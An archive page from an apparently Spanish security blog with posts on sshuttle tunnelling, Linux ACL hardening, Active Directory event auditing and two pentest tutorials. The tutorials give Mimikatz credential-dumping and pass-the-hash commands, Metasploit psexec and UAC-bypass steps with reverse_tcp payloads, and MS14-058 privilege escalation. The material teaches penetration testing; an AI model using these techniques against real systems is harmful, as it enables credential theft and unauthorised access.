02 abril, 2020

sshuttle: Múltiples túneles SSH y "VPN" (Proxy transparente)

sshuttle. Se trata de un cliente SSH desarrollado en pyhton que actúa como un proxy transparente funcionando como una "VPN". No se trata de una VPN como definición, sshuttle crea de forma automática distintas reglas usando pfctl (pf - Packet Filter) o en su defecto iptables para un múltiple reenvío de puertos a través de una conexión tunelizada vía SSH.

Ya comentara las diferencias entre los distintos tipos de túneles SSH. Esta aplicación nos abstrae de los detalles de realizar manualmente cada reenvío -port forwarding- a cada IP/Puerto hacia la red remota a la que queremos acceder.

La funcionalidad es como si realmente estuviéramos utilizando una VPN pero canalizada por una única conexión SSH a través de un host de la red remota que hará de equipo puente realizando múltiples túneles de reenvío. Su principal desarrollador Brian May, la define como "la VPN para el hombre pobre".

Soporta tunelización de DNS redireccionando todo el tráfico DNS local a través de la conexión SSH al host remoto, como si estuviéramos utilizando las direcciones DNS de la red remota. Por lo que toda la navegación es como si la hiciésemos a través de la red remota a la que nos conectamos, algo similar a un -dynamic port forwarding- o Proxy SOCKS

Si nos conectamos en un red wifi abierta o pública y queremos estar más seguros navegando y/o acceder a recursos internos de nuestra red doméstica sin necesidad de implementar o alquilar servicio VPN externo de terceros, esta aplicación es una muy buena solución.

Es compatible con Linux y MacOS (Windows con cygwin instalado).

Instalar sshuttle

git clone https://github.com/sshuttle/sshuttle.git
cd sshuttle
sudo ./setup.py install
En mi caso dispongo de una  RaspberryPi con el servicio SSH expuesto a Internet en un puerto no estándar.

Uso de sshuttle

sshuttle [-l [ip:]port] [-r [user@]sshserver[:port]] <subnets...>
sshuttle -v --dns -r USUARIO@IP:PUERTO 192.168.0.0/24
La opción --dns indica el tunelizado de tráfico DNS. 


En el caso de MacOS usa reglas de filtrado de redirección con pf (pfctl). Ejemplo de autenticación con clave pública.
MacOS:~ adrian$ sshuttle -v --dns -r USER@IP/DNS:PORT 10.0.0.0/24
Starting sshuttle proxy.
firewall manager: Starting firewall with Python version 2.7.16
firewall manager: ready method name pf.
IPv6 enabled: True
UDP enabled: False
DNS enabled: True
User enabled: False
TCP redirector listening on ('::1', 12300, 0, 0).
TCP redirector listening on ('127.0.0.1', 12300).
DNS listening on ('::1', 12299, 0, 0).
DNS listening on ('127.0.0.1', 12299).
Starting client with Python version 2.7.16
c : connecting to server...
Starting server with Python version 3.6.9
 s: latency control setting = True
 s: auto-nets:False
c : Connected.
firewall manager: setting up.
>> pfctl -s Interfaces -i lo -v
>> pfctl -s all
>> pfctl -a sshuttle6-12300 -f /dev/stdin
>> pfctl -E
>> pfctl -s Interfaces -i lo -v
>> pfctl -s all
>> pfctl -a sshuttle-12300 -f /dev/stdin
>> pfctl -E
c : DNS request from ('10.0.0.16', 51556) to None: 31 bytes

En el caso de Ubuntu usa reglas de filtrado de redirección con iptables. Ejemplo de autenticación con password.
adrian@ubuntu:~$ sshuttle -v --dns -r USER@DNS/IP:PORT 10.0.0.0/24
Starting sshuttle proxy.
firewall manager: Starting firewall with Python version 3.6.9
firewall manager: ready method name nat.
IPv6 enabled: False
UDP enabled: False
DNS enabled: True
TCP redirector listening on ('127.0.0.1', 12300).
DNS listening on ('127.0.0.1', 12300).
Starting client with Python version 3.6.9
c : connecting to server...
USER@DNS/IP's password:
Starting server with Python version 2.7.17
 s: latency control setting = True
 s: available routes:
c : Connected.
 s:   2/10.0.0.0/24
 s:   2/172.17.0.0/16
 s:   2/172.18.0.0/16
firewall manager: setting up.
>> iptables -t nat -N sshuttle-12300
>> iptables -t nat -F sshuttle-12300
>> iptables -t nat -I OUTPUT 1 -j sshuttle-12300
>> iptables -t nat -I PREROUTING 1 -j sshuttle-12300
>> iptables -t nat -A sshuttle-12300 -j RETURN --dest 127.0.0.1/32 -p tcp
>> iptables -t nat -A sshuttle-12300 -j REDIRECT --dest 10.0.0.0/24 -p tcp --to-ports 12300 -m ttl ! --ttl 42
>> iptables -t nat -A sshuttle-12300 -j REDIRECT --dest 127.0.0.53/32 -p udp --dport 53 --to-ports 12300 -m ttl ! --ttl 42
En el caso de Windows se complica el uso de esta herramienta.

Se propone instalar una máquina virtual Linux en modo puente que haga la conexión con sshuttle y desde la máquina anfitrión Windows enrutar todo el tráfico hacia la máquina Linux.

Info: https://sshuttle.readthedocs.io/en/stable/windows.html

Saludos!

19 marzo, 2020

Post-Explotación: Movimiento lateral usando técnicas Pass the hash (PtH)

En las fases de explotación de un pentest interno y dando continuidad al artículo de Explotación local: Escalada de privilegios de 0 a SYSTEM con Metasploit. Hoy quiero comentar diversas técnicas que se pueden emplear para realizar movimiento lateral o también conocido como Pass the hash (PtH).

¿Qué es un movimiento lateral o Pass the hash?

Movimiento lateral o Pass the hash es una de la técnicas empleadas para pivotar de una máquina a otra. Una vez que se ha comprometido una máquina, hemos escalado privilegios y conseguimos realizar un volcado de hashes. Podemos utilizar estos hashes para autenticarse en otra máquina que tenga las mismas credenciales que la máquina origen.

Concepto del "Principio de localidad"

En las organizaciones suele ser habitual que el usuario Administrador local u otro usuario que pertenece al grupo de Administradores locales utilice la misma contraseña para todas las máquinas de la empresa o departamento. Esto se conoce como principio de localidad y suele ser así por motivos de administración y gestión por parte del departamento de IT de la compañía.

Precisamente por esta razón obtener la información de hashes NTLM es muy importante para un pentester por que nos ayudaría a movernos lateralmente pivotando por las máquinas de la organización intentando encontrar debilidades en otras máquinas.

En el siguiente artículo mostraré varios técnicas de ejemplo en distintos escenarios para lograr el movimiento lateral a través de la obtención de un hash NTLM de un entorno Windows.

WCE - Windows Credentials Editor

WCE o Windows Credentials Editor es una herramienta desarrollada por Amplia Security en la que podemos obtener un volcado de los hashes NTLM almacenados en memoria y usarlos para técnicas de Pass the hash.

En el siguiente escenario existen dos máquinas: 
  • Windows 7: PCW7 - 10.0.0.7
  • Windows 10: PCW10 10.0.0.10
Tenemos acceso a la máquina Windows en la que tenemos privilegios pero no conocemos la contraseña en plano.

Abrimos una consola e intentamos ejecutar una cmd remota al equipo Windows 10 usando psexec de la suite de PsTools. Como vemos en la captura de pantalla el acceso a sido denegado, esto ocurre por que intenta autenticarse con con usuario/password distintos al que inició el proceso de la cmd.exe.

Con WCE acompañado del argumento -l se listan de sesiones de inicio de sesión y credenciales NTLM. En este caso admin:PCW7:LM:NT (user:hostname:hashLM:hashNT).

Mimikatz: Volcado de hashes NTLM del fichero SAM

Para obtener el hash NTLM del usuario por defecto Administrador local usaremos Mimikatz para realizar un volcado de hashes del fichero SAM

Iniciamos Mimikatz, entramos en el modo privilegiado, impersonamos al usuario admin (que forma parte del grupo Administradores locales) para obtener el token de NT AUTHORITY/SYSTEM y poder realizar el volcado de hashes.
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam
Hay que tener en cuenta que si un usuario carece de contraseña, es decir, una password en blanco. Obtendremos un hash nullAAD3B435B51404EEAAD3B435B51404EE.

Figura 1: WCE y Mimikatz - Listado de hashes NTLM de las sesiones actuales y volcado de hashes NTLM del fichero SAM. 

Una vez disponemos del hash NTLM del usuario Administrador, salimos de Mimikatz y ejecutamos WCE con el argumento -s para cambiar las credenciales NTLM de la sesión de inicio actual.

Según la sintaxis del comando hay que completar el espacio del hash LM, bastará con rellenar su tamaño con números valor 0 seguido del valor hash NT.
wce.exe -s USER:WORKGROUP:LM:NT
Una vez cambiado el hash para el usuario Administrador si volvemos a listar los usuarios de inicio de sesión con wce -l veremos dos inicios de sesión actuales almacenados, el usuario Admin y el nuevo usuario Administrador.

Para comprobar su funcionalidad probaremos a conectarnos ejecutando una cmd remota a través de psexec este utilizará las credenciales almacenadas del usuario Administrador para autenticarse en el sistema remoto Windows 10.

En la siguiente captura se puede ver como se creó un fichero de prueba C:\pwned.txt en el disco local de la máquina remota Windows 10 (PCW10) donde solo se podemos escribir si somos usuarios privilegiados.

Figura 2: WCE - PoC the PtH y conexión con privilegios hacia el host remoto.

Otra prueba interesante que podemos realizar es montar una unidad del disco local C:\ del equipo remoto Windows 10 haciendo uso del recurso compartido por defecto C$.
net use x: \\IP_remota\c$
Donde x: sería una letra la asignación disponible para la unidad a montar. 

Si listamos la estructura de directorios (dir) podemos ver el fichero pwned.txt creado anteriormente y podremos eliminarlo, verificando así que seguimos teniendo privilegios de modificación en el disco C:\.

Figura 3: Autenticación con privilegios para montar como unidad el recurso compartido C$ de la máquina remota. 

Mimikatz

Con Mimikatz podemos realizar Pass the hash de una forma muy sencilla. Una vez obtenemos el hash NTLM y teniendo acceso físico o una shell remota hacia la máquina. Ejecutamos en la consola de Mimikatz lo siguiente:
sekurlsa::pth /user:<USER> /ntlm:<HASH_NTLM> /domain:WORKGROUP
Esto nos lanzará un nuevo proceso cmd.exe con el usuario que lo hayamos invocado (administrador como se puede ver en la screenshot).

La máquina en la que se realiza al técnica es un equipo Windows 7 llamado PCW7. Con las pstools ejecutamos un psexec para intentar ejecutar una cmd en la máquina remota que será un Windows 10 llamado PCW10 (10.0.0.10). 

Vemos que conseguimos una sesión autenticándonos gracias al access token que hemos definido en Mimikatz para la ejecución de este proceso (cmd.exe). Si la contraseña del administrador local fuera otra y por lo tanto su hash NTLM, esta autenticación fallaría.

Figura 4: Mimikatz (sekurlsa::pth) - Utilizando Pass the hash para autenticarse desde una máquina hacia otra remota.

Metasploit (módulo psexec - SMB)

En Metasploit existe un módulo llamado exploit/windows/smb/psexec. El cual usa algo muy similar a la utilidad de comandos psexec de Sysinternals para poder autenticarse por medio del recurso compartido por defecto ADMIN$ de la máquina remota. Este recurso hace uso del protocolo SMB (Service Message Block) puerto 445. Después de autenticarse, ejecutará el Payload que le indiquemos. 
Antes de poner en práctica esta técnica de movimiento lateral, conseguimos desde otra máquina un movimiento vertical (escalada de privilegios) para realizar un volcado de hashes NTLM usando el módulo "post/windows/gather/smart_hashdump" indicando la sesión comprometida (el script hashdump que se utilizaba dentro de Meterpreter, actualmente se encuentra obsoleto).

Figura 5: Metasploit - Volcado de hashes NTLM usando el módulo /post/windows/gather/smart_hashdump.

Para la prueba de concepto se eliminarán las sesiones previas establecidas (sessions -K). Usamos el módulo tipo exploit "exploit/windows/smb/psexec".

En este módulo es necesario establecer el host remoto en el que queremos hacer target (RHOSTS víctima), el usuario local Administrador y su hash NTLM obtenidos anteriormente desde otra máquina. La sintaxis sería <LM:NTLM> podemos establecer un LM hash null (AAD3B435B51404EEAAD3B435B51404EE) seguido del hash NTLM.

Establecemos un Payload tipo meterpreter/reverse_tcp, indicamos el host local donde obtendremos la shell inversa (la maquina Kali) y finalmente ejecutamos el exploit.

Figura 6: Metasploit - PoC Pass the hash usando el módulo "exploit/windows/smb/psexec".

El módulo usará psexec para autenticarse a través del recurso compartido ADMIN$ ejecutando el payload definido, estableciendo una sesión como Administrador y finalmente obtener el token de "NT AUTHORITY/SYSTEM".

Figura 7: Metasploit - Exploit con éxito a través de la autenticación de recursos compartidos smb (PtH).

PowerShell: Invoke-TheHash - Función Invoke-WMIExec

Otra técnica es empleando la función Invoke-WMIExec del repositorio de Github Invoke-TheHash desarrollada por Kevin Robertson.

Es necesario desactivar la política de restricción de ejecución de scripts. "Set-ExecutionPolicy Unrestricted". Una vez descargado el repositorio e importada la función "Invoke-WMIExec" en PowerShell, simplemente tendremos que indicar el hash NTLM, la IP remota destino, el usuario será el Administrador de la máquina y la instrucción del comando a ejecutar.
Invoke-WMIExec -Hash <hash_NTLM> -Target <IP_remota> -Username Administrador -Command "<instrucción_comando_a_ejecutar>"
En el siguiente escenario no solo realizamos un pass the hash desde la máquina Windows 10 a la máquina Windows 7 sino que también hacemos un movimiento vertical, escalada de privilegios, gracias al hash. Abriendo Powershell con un usuario distinto al cual después ejecutamos indicándole el hash a Invoke-WMIExec, que sería el Administrador local (RID = 500).

Figura 8: PowerShell - Pass the hash usando la función Invoke-WMIExec.

Saludos!

12 marzo, 2020

Explotación local: Escalada de privilegios de 0 a SYSTEM con Metasploit

A diferencia de la explotación directa o intrusión directa y client-side donde el objetivo es la ejecución de código en una máquina remota con la finalidad de comprometer su seguridad y conseguir una conexión hacia dicha máquina.

En el contexto de Metasploit la explotación local tiene como objetivo el movimiento vertical que será la elevación o escalada de privilegios en una sesión previamente establecida en una máquina remota o directamente tenemos acceso físico a la máquina.

Tipos de explotación:
  • Explotación local
  • Bypass UAC
Con respecto a los usuarios de la máquina, nos podemos encontrar con 3 escenarios distintos:
  • 1. Proceso en un contexto de integridad alto. Administrador (RID = 500):
Figura 1: Contexto de integridad alta.
Será el propio Administrador SYSTEM. O un usuario que pertenece al grupo administradores pero a ejecutado la aplicación como Administrador (botón derecho "Ejecutar como Administrador"). En cualquier caso ya estaríamos en una ejecución en un contexto de integridad alto. No hay una escalada de privilegios como tal pudiendo impersonar al usuario con el token de SYSTEM.

  • 2. Proceso en un contexto de integridad medio. Usuario que pertenece al grupo Administradores (Bypass UAC):
Figura 2: Contexto de integridad medio.
El usuario pertenece al grupo Administrador. Pero no ejecuta en un ámbito de Administrador (botón derecho "Ejecutar como Administrador") sino que se ejecuta de forma normal, en un contexto integridad medio, por defecto es así. Y tiene la configuración por defecto establecida del UAC (User Account Control). En este escenario podremos hacer uso de los Bypasses de UAC para elevar privilegios.

  • 3. Proceso en un contexto de integridad bajo. Usuario sin ningún privilegio:
Figura 3: Contexto de integridad bajo.
El usuario pertenece al grupo de Usuarios locales o Invitado sin ningún tipo de privilegio, se ejecuta en un contexto de integridad bajo. Es el caso más complejo ya que habrá que buscar alguna configuración débil en servicios, vulnerabilidades en el propio sistema operativo (falta de la aplicación de parches de seguridad), drivers, software que se esté ejecutando con privilegios, etc., que nos permiten elevarnos a SYSTEM.

Partiendo de la base de que ya disponemos de una sesión Meterpreter establecida en la máquina remota, expondré los diferentes escenarios comentados anteriormente.

1. Proceso en un contexto integridad alto. Administrador (RID = 500)
En este caso disponemos del usuarios Administrador SYSTEM el cual con la configuración por defecto de UAC ya ejecuta un proceso en integridad alto.

Listamos los permisos actuales (getprivs). Ejecutamos una shell dentro de Meterpreter para identificar a que grupo local pertenece.

Figura 4: Obtención de privilegios del usuario Administrador.

Vemos que ya forma parte del grupo de Administradores locales del sistema.

En esta situación podemos impersonar al usuario Administrador con getsystem y así concederle el token de SYSTEM. Dejamos la sesión Meterpreter en segundo plano (background) y comprobamos que en la misma sesión el usuario ahora es NT AUTHORITY\SYSTEM y no el Administrador que teníamos al principio.

Figura 5: Impersonar al usuario Administrador local con getsystem para obtener el token de SYSTEM.

2. Proceso contexto integridad medio. Usuario que pertenece al grupo Administradores (Bypass UAC)

En este escenario hemos conseguido una sesión Meterpreter remota con un usuario del sistema local que pertenece al grupo Administradores locales y que ha ejecutado el proceso comprometido sin privilegios (botón derecho ejecutar como Administrador) pero tiene establecida la configuración por defecto del UAC, por lo tanto podemos probar diversas técnicas para realizar un bypass de UAC tipo fileless o DLL Hijacking.

Un bypass de UAC tipo fileless es más "silencioso" para los software de antimalware que pueda tener instalado el equipo ya que no realiza escritura en disco.

Invocamos una shell dentro de la sesión y vemos que el usuario pertenece al grupo Administradores pero cuando listamos los privilegios (getprivs) vemos que son escasos donde el proceso se ejecutó en un nivel de integridad media y que efectivamente el proceso no se ejecutó como administrador.

Intentamos impersonar al usuario "admin" sin éxito. No podemos obtener el token de NT AUTHORITY\SYSTEM.

Figura 6: Intento de impersonar a un usuario que pertenece al grupo administradores locales.

Para la escalada de privilegios usaremos un bypass de UAC. Mediante el uso del editor de certificados de confianza se generará un proceso con el flag del UAC desactivado consiguiendo así un contexto de integridad alto. Esto dependerá de que tipo de sistema operativo Windows se trate, no es lo mismo un Windows 7/8/8.1/10 ya que los casos de byspass de UAC fileless dependerá de la existencia de los binarios en según que versiones.

Salimos de la sesión dejándola en background. Usamos el módulo "exploit/windows/local/bypassuac" y establecemos los parámetros del host local (nuestra máquina Kali), la sesión meterpreter, el payload (código que se va ejecutar) será un meterpreter reverse_tcp y lanzamos el exploit.

Si se cumplen las condiciones de que la configuración del UAC está por defecto y el usuario comprometido pertenece al grupo Administradores, el exploit tendrá éxito. Se creará una nueva sesión y si listamos los privilegios veremos que ya disponemos de privilegios más altos.

Figura 7: Obteniendo una sesión privilegiada con un Bypass de UAC tipo fileless.

Ahora ya podemos impersonar al usuario para obtener el token de SYSTEM. Si dejamos la sesión en background y listamos las sesiones actuales veremos la existencia de dos sesiones establecidas. Una con el token del usuario inicial "admin" y otra con el token de NT AUTHORITY\SYSTEM.

Figura 8: Impersonar nuevamente al usuario para conseguir el token de SYSTEM.

3. Proceso contexto integridad bajo. Usuario sin ningún privilegio

Este escenario sería el más complejo en cuanto a escalada de privilegios, pasaremos de 0 a SYSTEM sin utilizar ninguna técnica de bypass de UAC. Hemos comprometido un equipo remoto y tenemos una sesión Meterpreter de un proceso ejecutado por un usuario regular o "raso" sin privilegios.

Deberemos encontrar alguna vulnerabilidad:
  • Ya sea en el propio sistema operativo por falta de parcheo y carencia de algunas actualizaciones (será el que veremos en este ejemplo). 
  • Vulnerabilidades en los drivers instalados.
  • Alguna aplicación que se esté ejecutando en un contexto privilegiado.
  • Servicios con malas configuraciones (se detallan algunos ejemplos al final del artículo).
Desde un usuario no privilegiado listamos los permisos actuales (getprivs) y vemos que son muy limitados. Invocamos una shell para comprobar a que grupo pertenece y vemos que forma parte del grupo Usuarios locales.

Figura 9: Reconocimiento de permisos y pertenencia a grupos locales desde un usuario sin privilegios.

Desde la misma shell ejecutamos el comando "systeminfo". Nos mostrará varios detalles de interés, entre ellos las actualizaciones actuales instaladas en el sistema. En esta ocasión vemos que solo existe una sola KB instalada.

Copiamos toda la info que nos devuelve este comando a un fichero texto plano. (En este ejemplo se guardó en la máquina Kali en la ruta "/root/systeminfo27").

Figura 10: Comprobar las actualizaciones instaladas con systeminfo.

Existe un script en python llamado Windows Exploit Suggester con el cual podemos comparar el resultado del fichero guardado anteriormente con una base de datos xls actualizada.


A partir del fichero que contiene el resultado del systeminfo, nos mostrará aquellas actualizaciones de seguridad que podremos explotar y que no estarían instaladas en la máquina comprometida. A parte del código de la propia vulnerabilidad, nos mostrará una breve descripción de lo que hace, su nivel de criticidad y los enlaces al boletín de seguridad de MS para obtener más detalles y/o enlaces al propio exploit en exploit-db.com.

Para reconocer las vulnerabilidades Windows Exploit Suggester emplea la siguiente tipificación:
  • [*] Falta la actualización.
  • [M] Existe un módulo en Metasploit.
  • [E] Existe un exploit público que no está incorporado o importado en Metasploit.
Es totalmente recomendable que revisemos los expedientes o boletines de seguridad oficiales para entender lo que vamos a explotar, no tendría sentido empezar a probar exploits a loco porque seguramente perderíamos el control del proceso del test de intrusión.

Una vez descargo el script del repositorio de Github, actualizamos la base de datos. Se nos descargará un fichero en local con extensión xls o xlsx.
./windows-exploit-suggester.py --update
Ejecutamos el script indicándole la base de datos y el fichero almacenado que habíamos guardado con la información en plano del resultado de ejecutar el comando systeminfo.
python windows-exploit-suggester.py -d BASE_DE_DATOS.xlsx -i FICHERO_SYSTEMINFO
Figura 11: Windows Exploit Suggester - Resultado de posibles actualizaciones explotables en base al fichero systeminfo.

En este ejemplo haremos uso de la vulnerabilidad MS14_058 que ya dispone de un módulo integrado en Metasploit. 

Recogida en en la base de conocimiento KB3000061, código CVE-2014-4113 reconocida con un CVSS de 7.2. Exploit de Metasploit disponible en https://www.exploit-db.com/exploits/35101.

Figura 12: Vulnerabilidad MS14-058 incorpora un módulo en Metasploit.

Una vez identificada la vulnerabilidad que vamos a utilizar y que sabemos que ya dispone de un módulo en Metasploit que nos abstraerá de los detalles para explotarla. La buscamos usando el comando "search MSxx-xxx" y encontramos el módulo correspondiente llamado "exploit/windows/local/ms14_058_track_popup_menu".

Usamos el módulo, lo configuramos estableciendo la sesión, un payload tipo meterpreter/reverse_tcp y lo ejecutamos. Si hemos tenido éxito se establecerá un nueva sesión con un meterpreter, si comprobamos el id de usuario podemos ver que ya tenemos el token de NT AUTHORITY\SYSTEM.

Si dejamos la sesión en background veremos que tenemos dos sesiones con meterpreter establecidas, la inicial del usuario sinPrivilegio y esta última obtenida con SYSTEM.

Figura 13: Escalada de privilegios de 0 a SYSTEM obteniendo una sesión meterpreter aprovechándose de la vulnerabilidad MS14-058.

Servicios con malas configuraciones

Algunos ejemplos aprovechándose de pequeños tricks en errores de configuración de servicios.
  • Service Permissions
Cuando un binario invoca a un servicio este se convierte en un proceso. Puede darse el caso por el diseño o desarrollo de dicho servicio que en la carpeta donde se aloja dicho binario los permisos no sean suficientemente restrictivos un usuario puede modificar una dll o incluso el propio binario (siempre y cuando no esté en ejecución), entonces en el momento de volver iniciar el servicio este llamara a ese binario no legítimo que hubiésemos "suplantado" y lo ejecutará.

Metasploit dispone de un módulo llamado "exploit/windows/local/service_permissions" que lo que hace es automatizar la búsqueda. Lista todos los servicios y busca si los permisos de los directorios donde se alojan sus binarios son adecuados para poder se utilizados por un usuario y poder modificarlos.
  • Trusted Service Path
Existe otro módulo en Metasploit llamado "exploit/windows/local/trusted_service_path". Lista las rutas de los binarios que ejecutan los servicios de Windows con el objetivo de encontrar rutas que vayan sin comillas ("C:\path\...").

Esto quiere decir que por ejemplo si tenemos una ruta sin comillas C:\Program Files\hello.exe, por defecto la API de Windows si existe una separación, espacio en blanco en la ruta, no la interpreta correctamente por lo que intentará encontrar C:\Program.exe, si lo encuentra lo ejecuta. Será en esos casos donde aprovecharemos para cargar el payload (shellcode) y que sea ejecutado, consiguiendo una sesión en un contexto elevado ya que estos binarios tienen una integridad de SYSTEM.

Saludos!

12 febrero, 2020

Hardening Linux: Listas de control de acceso en directorios o ficheros [setfacl y getfacl]

Las ACL en Linux son, como en cualquier otro sistema operativo, listas de control de acceso (Access Control List) que nos permiten especificar que usuarios, grupos o procesos del sistema se les otorga unos permisos específicos a los objetos, como pueden ser directorios o ficheros del sistema.

Por defecto en los sistemas de ficheros ext* las ACL ya se encuentran habilitadas. Existen dos comandos para su gestión:
  • getfacl: Muestra información de los permisos de ficheros y carpetas.
  • setfacl: Establece o modifica las ACL de dichos ficheros y carpetas.
Para conocer el detalle de los argumentos disponibles tanto en getfacl como setfacl podemos consultar su ayuda con man.

Para entender mejor su funcionamiento pondré un escenario muy sencillo como ejemplo.

Escenario

Estructura de directorios:
├── Común
├── Pepe
└── Juan 
Con los siguientes usuarios y grupos:

- Usuarios: Pepe, Juan
- Grupo: Compartido
# tail -n 2 /etc/passwd
Pepe:x:1003:1003::/home/Pepe:/bin/bash
Juan:x:1004:1004::/home/Juan:/bin/bash
Maria:x:1005:1005::/home/Maria:/bin/bash
# tail -n 3 /etc/group
Compartido:x:1000:Pepe,Juan
Pepe:x:1003:
Juan:x:1004:
Maria:x:1004:


¿Qué tipo de permisos se deberían aplicar en este escenario?

1. Cada usuario puede acceder su carpeta con permisos de lectura, escritura y ejecución. 
2. Pepe no tendrá ningún tipo de permisos en la carpeta de Juan. Sin embargo, Juan solo tendrá acceso de lectura sobre la carpeta de Pepe. 
3. Todos los usuarios pertenecen al grupo llamado "Compartido", este grupo tendrá acceso total al directorio "Común".
4. Cualquier otro usuario creado en el sistema (Maria) no podrá acceder a ningún recurso. Excepto el usuario root, que si tendrá acceso total para poder modificar permisos y administración de los recursos.

Establecemos los permisos basados en ACLs

# ls -lh
total 12K
drwxr-xr-x 2 root root 4.0K Feb 12 17:53 Común
drwxr-xr-x 2 root root 4.0K Feb 12 17:53 Juan
drwxr-xr-x 2 root root 4.0K Feb 11 23:13 Pepe 
# setfacl -m o::--- Común/ ; setfacl -m o::--- Pepe/ ; setfacl -m o::--- Juan/
# setfacl -m g:Compartido:rwx Común/
# setfacl -m u:Juan:rwx Juan/ ; setfacl -m u:Pepe:--- Juan/
# setfacl -m u:Pepe:rwx Pepe/ ; setfacl -m u:Juan:r-- Pepe/ 

Después de establecer las ACLs podemos apreciar que al listar los directorios en formato lista se añade un nuevo signo "+" en los permisos de Unix, esto nos indica que ese directorio o fichero tiene más información sobre permisos y que podemos ver con getfacl.
# ls -lh
total 12K
drwxr-xr-x+ 2 root root 4.0K Feb 12 17:53 Común
drwxr-xr-x+ 2 root root 4.0K Feb 12 17:53 Juan
drwxr-xr-x+ 2 root root 4.0K Feb 11 23:13 Pepe  
# getfacl *
# file: Común
# owner: root
# group: root
user::rwx
group::---
group:Compartido:rwx
mask::rwx
other::---
# file: Juan
# owner: root
# group: root
user::rwx
user:Pepe:---
user:Juan:rwx
group::---
mask::rwx
other::---
# file: Pepe
# owner: root
# group: root
user::rwx
user:Pepe:rwx
user:Juan:r--
group::---
mask::rwx
other::---


Comprobamos que las reglas se establecieron correctamente

Usuario Pepe
root@rpi:~# su - Pepe
Pepe@rpi:~$ cd /Recursos/

Pepe@rpi:/Recursos$ touch Pepe/test-pepe
Pepe@rpi:/Recursos$ touch Juan/test-pepe
touch: cannot touch 'Juan/test-pepe': Permission denied
Pepe@rpi:/Recursos$ ls Juan/
ls: cannot open directory 'Juan/': Permission denied
Pepe@rpi:/Recursos$ touch Común/test-pepe

Pepe@rpi:/Recursos$ tree -pugh
.
├── [drwxrwx--- root     root     4.0K]  Común
│   └── [-rw-rw-r-- Pepe     Pepe        0]  test-pepe
├── [drwxrwx--- root     root     4.0K]  Juan [error opening dir]
└── [drwxrwx--- root     root     4.0K]  Pepe
    └── [-rw-rw-r-- Pepe     Pepe        0]  test-pepe
3 directories, 2 files

Usuario Juan
root@rpi:~# su - Juan
Juan@rpi:~$ cd /Recursos/

Juan@rpi:/Recursos$ touch Juan/test-juan
Juan@rpi:/Recursos$ touch Pepe/test-juan
touch: cannot touch 'Pepe/test-juan': Permission denied
Juan@rpi:/Recursos$ ls Pepe/
ls: cannot access 'Pepe/test-pepe': Permission denied
test-pepe
Juan@rpi:/Recursos$ touch Común/test-juan

Juan@rpi:/Recursos$ tree -pugh
.
├── [drwxrwx--- root     root     4.0K]  Común
│   ├── [-rw-rw-r-- Juan     Juan        0]  test-juan
│   └── [-rw-rw-r-- Pepe     Pepe        0]  test-pepe
├── [drwxrwx--- root     root     4.0K]  Juan
│   └── [-rw-rw-r-- Juan     Juan        0]  test-juan
└── [drwxrwx--- root     root     4.0K]  Pepe  [error opening dir]
3 directories, 3 files

Usuaria Maria
root@rpi:~# su - Maria
Maria@rpi:~$ cd /Recursos/

Maria@rpi:/Recursos$ touch Común/test-maria
touch: cannot touch 'Común/test-maria': Permission denied
Maria@rpi:/Recursos$ touch Pepe/test-maria
touch: cannot touch 'Pepe/test-maria': Permission denied
Maria@rpi:/Recursos$ touch Juan/test-maria
touch: cannot touch 'Juan/test-maria': Permission denied
Maria@rpi:/Recursos$ ls Común/ ; ls Pepe/ ; ls Juan/
ls: cannot open directory 'Común/': Permission denied
ls: cannot open directory 'Pepe/': Permission denied
ls: cannot open directory 'Juan/': Permission denied

Maria@rpi:/Recursos$ tree -pugh
.
├── [drwxrwx--- root     root     4.0K]  Común [error opening dir]
├── [drwxrwx--- root     root     4.0K]  Juan [error opening dir]
└── [drwxrwx--- root     root     4.0K]  Pepe [error opening dir]
3 directories, 0 files


Backups de las ACLs de directorios o ficheros

Algo interesante es que podemos realizar backups y restauraciones de los permisos ACLs. Siguiedo el escenario anterior.

Para realizar exportar las ACLs del directorio de Juan, usamos el argumento -R.
getfacl -R Juan/ > backup-acl-Juan.txt
Para realizar una restauración de las ACLs del directorio de Juan, usamos el argumento --restore=directorio/fichero.
setfacl --restore=backup-acl-Juan.txt
Esto solamente es un ejemplo muy básico con la idea de mostrar su uso. Lo ideal es aplicarlo en aquellos directorios/ficheros que sabemos que solo deberían acceder determinados usuarios, con el fin de ir fortificando y endureciendo la seguridad en los sistemas de ficheros de nuestros entornos Linux.

Saludos!

09 febrero, 2020

Active Directory: Auditar creación y cambios en cuentas de usuario (ID de eventos)

Para poder auditar la creación y cambios de cuentas de usuarios de Active Directory debemos establecer esta política a nivel de dominio en la plantilla "Default Domain Controllers Policy" situada en Objetos de directiva de grupo.

La editamos y configuramos:
Configuración del equipo > Directivas > Configuración de Windows > Configuración de seguridad > Directivas locales > Directiva de auditoría
Habilitamos "Auditar la administración de cuentas" en intentos "Correcto" y "Error".

Figura 1: Habilitar la auditoría de administración de cuentas en la plantilla "Default Domain Controllers Policy".

Si también queremos que se realice auditoría de la administración de cuentas locales en cualquier equipo unido al dominio, que no sean cuentas Active Directory. Debemos aplicar esta política a nivel de dominio dentro de la plantilla "Default Domain Policy".

Los ID de eventos que nos interesan para este caso son sobre la creación de nuevas cuentas de usuarios de Active Directory.
  • ID de evento 4720: Se creó una cuenta de usuario.
  • ID de evento 4722: Se habilitó una cuenta de usuario.
  • ID de evento 4724: Se intentó restablecer la contraseña de una cuenta.
  • ID de evento 4738: Se cambió una cuenta de usuario.
En el visor de eventos (eventvwr.msc) de un controlador de dominio, registros de Windows > Seguridad.

Creamos un filtro por los ID que nos interesen, separado por comas si queremos buscar más de un número de ID distinto.

En la siguiente captura se puede ver un ejemplo de un ID 4722, como se habilitó una nueva cuenta en Active Directory, más arriba tendríamos el ID 4720 donde se creó dicha cuenta.

Figura 2: Filtrar por ID de eventos para encontrar la creación de nuevas cuentas de usuario de Active Directory.

Saludos!

18 enero, 2020

Auditar inicios de sesión erróneos ID 4625 y notificarlos vía email

Una forma de auditar los errores de accesos de inicio de sesión o login a un sistema Windows ya sean accesos físicos, en remoto mediante RDP, recursos compartidos CIFS o llamadas a procedimientos remotos RPC como pueden ser el acceso a consolas msc de equipos remotos. Se considerarán inicios de sesión en una máquina Windows.

Este artículo se centrará en la auditoria de todos los accesos erróneos de login a un sistema pero en especial irá enfocado a los intentos de inicios de sesión RDP desde equipos remotos y la notificación de este evento vía un mensaje de correo electrónico de forma automática.

Para ello será necesario habilitar en el equipo la directiva local de auditoria de eventos de inicio de sesión a través de la consola gpedit.msc.
